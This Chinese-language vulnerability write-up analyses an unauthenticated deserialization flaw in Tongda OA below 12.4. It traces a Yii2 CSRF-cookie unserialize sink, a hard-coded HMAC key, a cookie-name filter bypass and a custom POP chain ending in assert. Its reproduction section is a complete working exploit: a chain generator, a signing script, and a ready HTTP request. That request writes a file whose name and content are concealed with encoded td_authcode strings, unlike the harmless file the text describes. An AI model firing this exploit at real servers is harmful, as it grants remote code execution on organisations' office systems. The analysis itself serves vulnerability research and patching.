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通达OA <12.4 反序列化漏洞分析

Security丨Art

50

2024-07-13

0x00 前置知识和准备

1.yii版本和源码准备

查看通达oa 11.10使用的yii框架版本是2.0.13-dev,该版本在inc/vendor/yii2/yiisoft/yii2/BaseYii.phpyii/BaseYii)的getVersion方法可以查看。由于通达oa解密后的代码会对yii框架部分代码有影响,会出现乱码的情况,所以建议找到对应版本后上yii仓库下载源码。

`static public function getVersion() {     return "2.0.13-dev";    }   `

2.yii csrftoken配置方法

  • 单个controller开启:

在控制器中设置

`public $enableCsrfValidation = true;   `
  • 全局开启:

在yii框架的/config/main.php设置

`request => [       'enableCookieValidation' => true,   ]   `

yii框架默认是开启这个设置的。

  • 针对提交的数据流进行设置

通达oa在inc/vendor/yii2/yiisoft/yii2/web/Request.php页面中,设置public $enableCsrfValidation = true;$enableCsrfValidation = true;(默认)

还可以设置beforeAction在某些方法之前进行csrf token、afterAction在某些方法之后进行csrf token、表单设置、ajax异步post请求设置,这些其他模式设置csrf token请查看《Yii2 关闭和打开csrf 验证》。

3.yii csrftoken http报文格式

Cookie中_csrf的参数,格式大致如下:

`Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}   `

a开始就是序列化的数组数据。

例如:

`Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;   `

通过这些可以看到该漏洞的利用条件如下:

  • yii csrf token开启(默认开启)

  • 只能影响到yii框架函数request类请求的数据流,php原生请求方式不受影响。

0x01 漏洞分析

1.反序列化触发点csrfMetaTags

yii框架csrf token生成的时候会生成一部分序列化数据,校验该token需要对这部分序列化数据进行反序列化校验。

yii/helpers/BaseHtmlcsrfMetaTags方法是生成csrftoken后将其放在html的meta标签里面的方法。yii默认是开启csrf校验的,所以$request->enableCsrfValidation默认为true,默认就会调用yii/web/Request::getCsrfToken方法获取csrf token。

`public static function csrfMetaTags()    {           $request = Yii::$app->getRequest();           // $request是framework/web/Request.php Request类           if ($request instanceof Request && $request->enableCsrfValidation) {               return static::tag('meta', '', ['name' => 'csrf-param', 'content' => $request->csrfParam]) . "\n    "                   . static::tag('meta', '', ['name' => 'csrf-token', 'content' => $request->getCsrfToken()]) . "\n";           }              return '';       }      //framework/web/Request.php    public $enableCsrfValidation = true;   `

跟进getCsrfToken方法,$this->_csrfToken可控,设置为null,从而能继续进入$this->loadCsrfToken()

`public function getCsrfToken($regenerate = false)    {           //可设置 $this->_csrfToken = null           if ($this->_csrfToken === null || $regenerate) {               if ($regenerate || ($token = $this->loadCsrfToken()) === null)               {                   $token = $this->generateCsrfToken();               }               $this->_csrfToken = Yii::$app->security->maskToken($token);           }              return $this->_csrfToken;       }   `

$this->loadCsrfToken()由于$this->enableCsrfCookie默认就为true,就会调用getCookies方法。$this->_cookies可控,从而调用$this->loadCookies()loadCookies方法中$this->cookieValidationKey根据手册开启csrf校验该密钥可以在yii web配置里查看。通达oa中yii的web配置文件是general/appbuilder/config/web.php,在这里面可以看到固定密码为tdide2

`protected function loadCsrfToken()    {           //默认或可设置$enableCsrfCookie = true           if ($this->enableCsrfCookie) {               return $this->getCookies()->getValue($this->csrfParam);           }              return Yii::$app->getSession()->get($this->csrfParam);       }      public function getCookies()    {           if ($this->_cookies === null) {               $this->_cookies = new CookieCollection($this->loadCookies(), [                   'readOnly' => true,               ]);           }              return $this->_cookies;       }      protected function loadCookies()    {           $cookies = [];           if ($this->enableCookieValidation) {               if ($this->cookieValidationKey == '') {                   throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');               }               foreach ($_COOKIE as $name => $value) {                   if (!is_string($value)) {                       continue;                   }                 //$this->cookieValidationKey = 'tdide2'                   $data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);                   if ($data === false) {                       continue;                   }                 // 反序列化点                   $data = @unserialize($data);                   if (is_array($data) && isset($data[0], $data[1]) && $data[0] === $name) {                       $cookies[$name] = Yii::createObject([                           'class' => 'yii\web\Cookie',                           'name' => $name,                           'value' => $data[1],                           'expire' => null,                       ]);                   }               }           ......   `

回到loadCookies中,对$_COOKIE循环遍历并对cookie中每个字段的值用Yii::$app->getSecurity()->validateData()校验,校验csrf token值无问题后对其进行反序列化。

跟进发现是yii/base/SecurityvalidataData方法。该方法校验思路是比对cookie的csrf token中传入的hash和代码中重新计算的hash是否一致。hash_hmac设置的是sha256位的hash计算模式,因此每次传入csrf token都要计算对应的hash值。

`public function validateData($data, $key, $rawHash = false)    {           //$this->macHash = sha256           $test = @hash_hmac($this->macHash, '', '', $rawHash);           if (!$test) {               throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);           }           $hashLength = StringHelper::byteLength($test);           if (StringHelper::byteLength($data) >= $hashLength) {               $hash = StringHelper::byteSubstr($data, 0, $hashLength);               $pureData = StringHelper::byteSubstr($data, $hashLength, null);               //hash_mac('sha256',$pureData,'tdide2',false)               $calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);                  if ($this->compareString($hash, $calculatedHash)) {                   return $pureData;               }           }              return false;       }   `

2.通达OA调用csrfMetaTags的地方

分析完了反序列化unserialize的触发点,但还要找到调用csrfMetaTags方法的地方。由于yii/web/Request::csrfMetaTags是生成html页面meta标签的csrf token,因此调用的地方一般在html模版或者写页面的方法中。全局搜索,在general/appbuilder/views/layouts/main.php中有调用该方法。

`<?php   $this->beginPage();   echo "<!DOCTYPE html>\n<html lang=\"";   echo Yii::$app->language;   echo "\">\n<head>\n    <meta charset=\"";   echo Yii::$app->charset;   echo "\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    ";   echo yii\helpers\Html::csrfMetaTags();   echo "    <title>";   ......   `

查看/general/appbuilder/目录结构发现general/appbuilder/views/是yii框架写的模板主页面。只要调用了该路由下的方法就能触发模板渲染。

根据手册,general/appbuilder/config/params.php是配置框架参数的,其中skip_module是配置不进行鉴权的模块,其中就有portal门户模块。

`<?php      include_once "inc/td_config.php";   $arr_mysql_server = explode(":", TD::$_arr_db_master["host"]);   return array(   ......    "skip_module"           => array("portal", "hr", "meeting", "formCenter", "calendar", "officeproduct", "invoice"),   `

同时general/appbuilder/web/index.php是yii路由入口,获取请求路径后以问号为分隔符substr分割路径和uri参数。portal模块下不是gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin的话会直接跳转到index.php,从而可以触发general/appbuilder/views/layouts/main.php模板。

`......    else {     $url = $_SERVER["REQUEST_URI"]; //获取路径     $strurl = substr($url, 0, strpos($url, "?")); //分割路径和uri参数        if (strpos($strurl, "/portal/") !== false) {      if (strpos($strurl, "/gateway/") === false) {       header("Location:/index.php");       sess_close();       exit();      }      else if (strpos($strurl, "/gateway/saveportal") !== false) {       header("Location:/index.php");       sess_close();       exit();      }      else if (strpos($url, "edit") !== false) {       header("Location:/index.php");       sess_close();       exit();      }      else if (strpos($url, "uploadfile") !== false) {       header("Location:/index.php");       sess_close();       exit();      }      else if (strpos($url, "uploadportalfile") !== false) {       header("Location:/index.php");       sess_close();       exit();      }      else if (strpos($url, "uploadpicture") !== false) {       header("Location:/index.php");       sess_close();       exit();      }      else if (strpos($url, "dologin") !== false) {       header("Location:/index.php");       sess_close();       exit();      }     }       ......   `

因此,触发漏洞的路由是/general/appbuilder/portal/gateway/?

inc/common.inc.php可以看到通达OA有全局的addslashes过滤,对Cookie中过滤。传入payload的时候将_csrf改为_GET、_POST等就可以绕过。

`if (0 < count($_COOKIE)) {     foreach ($_COOKIE as $s_key => $s_value ) {       if ((substr($s_key, 0, 7) == "_SERVER") || (substr($s_key, 0, 8) == "_SESSION") || (substr($s_key, 0, 7) == "_COOKIE") || (substr($s_key, 0, 4) == "_GET") || (substr($s_key, 0, 5) == "_POST") || (substr($s_key, 0, 6) == "_FILES")) {         continue;       }          if (!is_array($s_value)) {         $_COOKIE[$s_key] = addslashes(strip_tags($s_value));       }          $s_key = $_COOKIE[$s_key];     }        reset($_COOKIE);   }   `

3.yii 反序列化链

yii常见的反序列化起点是利用yii\db\BatchQueryResult的。其中yii框架POP1链条差不多如下:**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**,但是通达oa里并没有用**Faker\Generator**,而且好多yii反序列化链涉及的类都通达oa都没有,因此这里需要重新找一条链。

yii\db\BatchQueryResult__destruct调用的reset方法,其中$this->_dataReader可控,$this->_dataReader->close()可以理解为可控类->close()。全局搜索到yii\db\DataReader存在close()方法。

`public function __destruct()    {           // make sure cursor is closed           $this->reset();       }      public function reset()    {           if ($this->_dataReader !== null) {                $this->_dataReader->close();           }           $this->_dataReader = null;           $this->_batch = null;           $this->_value = null;           $this->_key = null;       }   `

因此,可设置$this->_dataReader=new DataReader()从而触发调用其close方法,进入后$this->_statement可控,同样是可控类->closeCursor(),但是全局搜索没找到什么对应的类。尝试找带有call方法的类,通过调用其不存在的closeCursor,触发call方法。

`public function close()    {           $this->_statement->closeCursor();//$this->_statement = new Connection();           $this->_closed = true;       }   `

在通达oa 11.10全局搜索中找到yii2框架还用了yii2-redis库,在yii2-redis里面找到yii\redis\Connection类存在call方法。

打开后发现代码由于解密问题有乱码问题,找到对应的yii2-redis仓库下载对应版本的源码(inc/vendor/yii2/yiisoft/extensions.php页面可查看yii2-redis版本为2.0.6)。$redisCommand=$name='closeCursor'转换为大写,再与$this->redisCommands比对,查看是否存在其中,而$this->redisCommands可控,可参照其默认值形式,设置为CLOSE CURSOR,从而可进入executeCommand

`public $redisCommands = [           'APPEND', // Append a value to a key           'AUTH', // Authenticate to the server           'BGREWRITEAOF', // Asynchronously rewrite the append-only file           'BGSAVE', // Asynchronously save the dataset to disk   ......       ];      public function __call($name, $params)//$name=closeCursor,$params=null    {           $redisCommand = strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR           if (in_array($redisCommand, $this->redisCommands)) {               return $this->executeCommand($redisCommand, $params);           }              return parent::__call($name, $params);       }   `

executeCommand调用open方法,跟进发现$this->_socket可控,为保证代码继续运行这里要设置为false(默认初始化值为false)。$connectionhostname、port、database拼接,每个变量都可控,然后后续进行socket的链接。由于通达一体包系统环境一般是win系统,所以设置$this->unixSocket为false(可控)就能进入win下tcp链接。这里只要连通就可以让$this->_socket为true进入if分支。if分之内前面三个if条件$this->dataTimeout、$this->password、$this->database都可控,这三个分支调用的不是executeCommand的递归就是又进行socket链接都不符合情况,所以需要设置为null,才能保证进入initConnection()

`public function executeCommand($name, $params = [])    {           $this->open();   ......       }      public function open()    {           if ($this->_socket !== false) {               return;           }           $connection = ($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database;           \Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__);           $this->_socket = @stream_socket_client(               $this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port,               $errorNumber,               $errorDescription,               $this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'),               $this->socketClientFlags           );           if ($this->_socket) {               if ($this->dataTimeout !== null) {                   stream_set_timeout($this->_socket, $timeout = (int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000));               }               if ($this->password !== null) {                   $this->executeCommand('AUTH', [$this->password]);               }               if ($this->database !== null) {                   $this->executeCommand('SELECT', [$this->database]);               }               $this->initConnection();           }       ......   }`  

initConnection()实际调用的是yii\base\Component(framework/base/Component.php)::trigger()方法,参数EVENT_AFTER_OPEN固定值是afterOpen

`const EVENT_AFTER_OPEN = 'afterOpen';      protected function initConnection()    {           $this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen');       }   `

trigger方法在line560调用了call_user_func,逆向溯源两个$handler[0]$event参数。$this->_events[$name]=$this->['afterOpen']不为空,就能进入该分支调用call_user_func。然后对$this->_events['afterOpen']进行数组遍历,于是$this->_events['afterOpen'][0]=$handler[0]可控,$this->_events['afterOpen'][1]=$event->data=Event::data不可控。

`public function trigger($name, Event $event = null)    {           $this->ensureBehaviors();           //$this->_events['afterOpen'] = ''           if (!empty($this->_events[$name])) {               if ($event === null) {                   $event = new Event();               }               if ($event->sender === null) {                   $event->sender = $this;//yii\base\Component               }               $event->handled = false;               $event->name = $name;//'afterOpen'               //$this->>_events['afterOpen'] = $handler;                foreach ($this->_events[$name] as $handler) {                   $event->data = $handler[1];//any                   call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any);                   // stop further handling if the event is handled                   if ($event->handled) {                       return;                   }               }           }           // invoke class-level attached handlers           Event::trigger($this, $name, $event);       }   `

参考低版本yii反序列化链执行代码注入的一般通过yii\rest\CreateAction或者类似的类(代码内容如下所示)。其中$this->checkAccess$this->id都可控,$this->checkAccess设置为调用php函数,如system执行命令;$this->id设置执行内容,如命令whoami

`public function run()    {           if ($this->checkAccess) {               call_user_func($this->checkAccess, $this->id);           }         ......   `

结合上面的trigger方法,call_user_func参数1可以设置为调用CreateActionrun方法,调用方式:call_user_func([new CreateAction, 'run'],'a')。如何给$this->_events['afterOpen']赋值,继续查看如下代码注释:

           `//$this->>_events['afterOpen'] = $handler; //一重数组,$handler要求是数组               foreach ($this->_events[$name] as $handler) { //二重数组,$handler分为$handler[0]和handler[1]                   $event->data = $handler[1];//any                   call_user_func($handler[0],$event);                  //call_user_func([new CreateAction,'run'],any);                    //三重数组,call_user_func调用类需要用数组传入,形如[new A(),...params]`

转换过来也就是$this->_events['afterOpen'] = [[[new CreatAction, 'run'],'a']]

0x02 漏洞复现

1.生成反序列化链

该链条效果为写入一个名为hgsd.php的php文件,内容为<?php echo 123;?>。输出反序列化payload的base64编码,解码并urlencode作为伪造的csrf token一部分数据。

`<?php      //step4   namespace yii\rest {       class CreateAction {           public $id;           public $checkAccess;           public function __construct() {               $this->checkAccess = 'assert';               $this->id = "file_put_contents('hgsd.php','<?php echo 123;?>')";           }          }   }      //step3   namespace yii\base {          use yii\rest\CreateAction;          class Component {              private $_events = [];           private $_behaviors = 1;              public function __construct() {               $this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "a"]]];              //第二个"a"参数任意。           }       }   }   //step2   namespace yii\redis {          use yii\base\Component;          class Connection extends Component{           public $redisCommands = [];           public $hostname = '';           public $port;           public $password;           public $username;           public $connectionTimeout;           public $dataTimeout;           public $database;           public $unixSocket;           private $_socket;              public function __construct()        {               $this->redisCommands = array('CLOSE CURSOR');               $this->_socket = false;               $this->hostname = '127.0.0.1';               $this->port = 803;//能够连通的任意本地服务的端口               $this->unixSocket = false;               $this->connectionTimeout = 5;               parent::__construct();           }       }      }      // step1    namespace yii\db {          use yii\redis\Connection;          class DataReader {           private $_statement;           private $_closed = false;           private $_row;           private $_index = -1;           public function __construct()        {               $this->_statement = new Connection();           }       }          class BatchQueryResult {           public $batchSize = 100;           public $each = false;           private $_dataReader;           private $_batch;           private $_value;           private $_key;              public function __construct() {               $this->_dataReader = new DataReader();           }                  }   }   //start   namespace {       use yii\db\BatchQueryResult;       echo base64_encode(serialize(new BatchQueryResult()));   }      `

2. 生成反序列化hash

对第一步生成的反序列化payload(base64已编码)进行hash计算,从而生成对应的csrf token另一部分数据。

`<?php   $pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9');      $calculatedHash = hash_hmac('sha256',$pureData,'tdide2',false);    # yii general/appbuilder/config/web.php cookieValidationKey 固定值   echo($calculatedHash);   `

3.http报文(漏洞验证)

对数据包请求方式没有限制,get和post方式都可以。伪造的csrf token格式是Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode。按照payload格式拼接完毕后,在发送如下请求:

`POST /general/appbuilder/web/portal/gateway/? HTTP/1.1   Host: x.x.x.x   Cache-Control: max-age=0   Upgrade-Insecure-Requests: 1   User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7   Accept-Encoding: gzip, deflate   Accept-Language: zh-CN,zh;q=0.9   Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7D   Connection: close   Content-Type: application/x-www-form-urlencoded   Content-Length: 0         `

执行成功后响应500,响应体如下图所示:

文件生成目录:/general/appbuilder/web/,上述生成的poc文件目录是/general/appbuilder/web/hgsd.php

Reference

漏洞挖掘发布者:烽火台实验室-【新】通达OA前台反序列化漏洞分析

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